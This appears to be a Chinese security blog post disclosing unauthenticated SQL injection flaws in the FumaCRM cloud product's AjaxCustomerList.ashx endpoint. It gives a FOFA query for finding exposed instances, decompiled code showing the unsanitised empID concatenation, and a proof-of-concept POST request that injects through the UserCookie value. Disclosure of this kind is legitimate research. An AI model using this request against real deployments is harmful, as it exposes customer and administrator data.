孚盟云CRM AjaxCustomerList.ashx 多个SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxCustomerList.ashx接口存在多个SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxCustomerList.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxCustomerList 方法的实现如下

当method=showFocused时,看下showFocused方法的实现

  private void showFocused(HttpContext context, string empID)
  {
    DataTable mouldFieldList = new CreatePageManager().GetMouldFieldList("BF001", empID);
    DataTable structPanel = new CreatePageManager().GetStructPanel("BF001", empID, 1);
    DataTable mouldTableLinks = new CreatePageManager().GetMouldTableLinks("BF001");
    string sql = $"M.FID in (select custFID from tmFocusedCustomer where EmpID='{empID}') AND 1=1  AND  1=1";
    DataTable Sourcedd = new DataTable();

参数empID未经过任何过滤或校验就被直接拼接进SQL语句中进行执行,从而造成SQL注入漏洞。

当method=GetEmpCanViewRightType时,一样的存在SQL注入漏洞

method=GetCustomerInfoByFid

method=lerevnClick

method=VersionCheck

method=EditCustomer

method=SaveCust

method=lingshi

method=updateversion

method=AddContact

太多了 不一一列举了...

漏洞复现

POST /m/Dingding/Ajax/AjaxCustomerList.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"')SQLI_POC--"}
Content-Type: application/x-www-form-urlencoded

method=showFocused

通过报错注入在响应里回显数据库版本信息


手机扫码阅读

金和OA GovAIPDefineFileType.aspx SQL注入漏洞

金和OA getGovAIPDefineType.aspx SQL注入漏洞

评 论